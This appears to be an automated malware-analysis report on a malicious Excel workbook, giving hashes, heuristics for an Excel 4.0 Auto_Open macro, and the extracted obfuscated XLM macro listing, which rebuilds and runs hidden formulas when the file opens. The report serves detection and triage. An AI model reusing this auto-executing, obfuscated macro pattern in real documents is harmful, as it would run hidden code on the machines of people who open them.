Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5a4e303584bd53c6…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:27 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 82c1b7721f89c1eea5b97cc495625067 SHA-1: 8713c883942166d0be63f260e74ec7bdd23c45cd SHA-256: 5a4e303584bd53c629f448f621e400df666238365242751bff479eaf5178a398
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6538 bytes
SHA-256: 67015fba5b6894725e5df083c446503acf6522fba83fb95060d4f4be964c4502
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  UGQiMaQA
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I181 
' 0018     20 LABEL : Cell Value, String Constant - drsgE len=0 
' 0018     21 LABEL : Cell Value, String Constant - EwGEvP len=0 
' 0018     27 LABEL : Cell Value, String Constant - HJQcBYNbDLBF len=0 
' 0018     27 LABEL : Cell Value, String Constant - iffAJjHtesWh len=0 
' 0018     25 LABEL : Cell Value, String Constant - JaOgOSBvRG len=0 
' 0018     21 LABEL : Cell Value, String Constant - KXSlZB len=0 
' 0018     26 LABEL : Cell Value, String Constant - LIVvSLqcuhq len=0 
' 0018     23 LABEL : Cell Value, String Constant - LzVhTsfo len=0 
' 0018     21 LABEL : Cell Value, String Constant - SJSltb len=0 
' 0018     22 LABEL : Cell Value, String Constant - SOKJwAo len=0 
' 0018     22 LABEL : Cell Value, String Constant - tcfCFKA len=0 
' 0018     21 LABEL : Cell Value, String Constant - UmXNoT len=0 
' 0018     27 LABEL : Cell Value, String Constant - vtNHwgYlkSHg len=0 
' 0018     21 LABEL : Cell Value, String Constant - WmtNHX len=0 
' 0018     22 LABEL : Cell Value, String Constant - xbtzuaV len=0 
' 0018     24 LABEL : Cell Value, String Constant - XgoNyMXTA len=0 
' 0018     23 LABEL : Cell Value, String Constant - XUwBAUQT len=0 
' 0018     26 LABEL : Cell Value, String Constant - YkzwqLUlTMM len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZeFttFPld len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZooRBr len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  UGQiMaQA,I86,"SET.NAME("HJQcBYNbDLBF",VALUE("0"))",""
'  UGQiMaQA,I90,"SET.NAME("tcfCFKA",HJQcBYNbDLBF)",""
'  UGQiMaQA,I95,"SET.NAME("SOKJwAo",HJQcBYNbDLBF)",""
'  UGQiMaQA,I97,"SET.NAME("XgoNyMXTA",COUNTA(drsgE))",""
'  UGQiMaQA,I101,"SET.NAME("xbtzuaV",COUNTA(vtNHwgYlkSHg))",""
'  UGQiMaQA,I105,[],""
'  UGQiMaQA,I107,"SET.NAME("UmXNoT","")",""
'  UGQiMaQA,I111,"tcfCFKA",""
'  UGQiMaQA,I114,"SET.NAME("YkzwqLUlTMM",HLOOKUP("*",drsgE,tcfCFKA,FALSE))",""
'  UGQiMaQA,I117,"XUwBAUQT",""
'  UGQiMaQA,I119,"SET.NAME("iffAJjHtesWh",HJQcBYNbDLBF)",""
'  UGQiMaQA,I124,[],""
'  UGQiMaQA,I128,"iffAJjHtesWh",""
'  UGQiMaQA,I132,"EwGEvP",""
'  UGQiMaQA,I136,"WmtNHX",""
'  UGQiMaQA,I138,"LIVvSLqcuhq",""
'  UGQiMaQA,I142,"SET.NAME("LzVhTsfo",VALUE(HLOOKUP("*",vtNHwgYlkSHg,LIVvSLqcuhq,FALSE)))",""
'  UGQiMaQA,I146,"KXSlZB",""
'  UGQiMaQA,I150,"UmXNoT",""
'  UGQiMaQA,I155,"SOKJwAo",""
'  UGQiMaQA,I160,NEXT(),""
'  UGQiMaQA,I164,"ZeFttFPld",""
'  UGQiMaQA,I168,"SET.NAME("f",INT(T(FORMULA(T(UmXNoT)&"",""&T(ZeFttFPld)))))",""
'  UGQiMaQA,I172,"ZooRBr",""
'  UGQiMaQA,I175,NEXT(),""
'  UGQiMaQA,I179,RETURN(),""
'  UGQiMaQA,I207,"SET.NAME("SJSltb",I86)",""
'  UGQiMaQA,I211,"drsgE",""
'  UGQiMaQA,I213,"SET.NAME("vtNHwgYlkSHg",R92C15)",""
'  UGQiMaQA,I216,"SET.NAME("ZooRBr",222)",""
'  UGQiMaQA,I219,"SET.NAME("JaOgOSBvRG",9)",""
'  UGQiMaQA,I221,SJSltb(),""
'  UGQiMaQA,I222,HALT(),""

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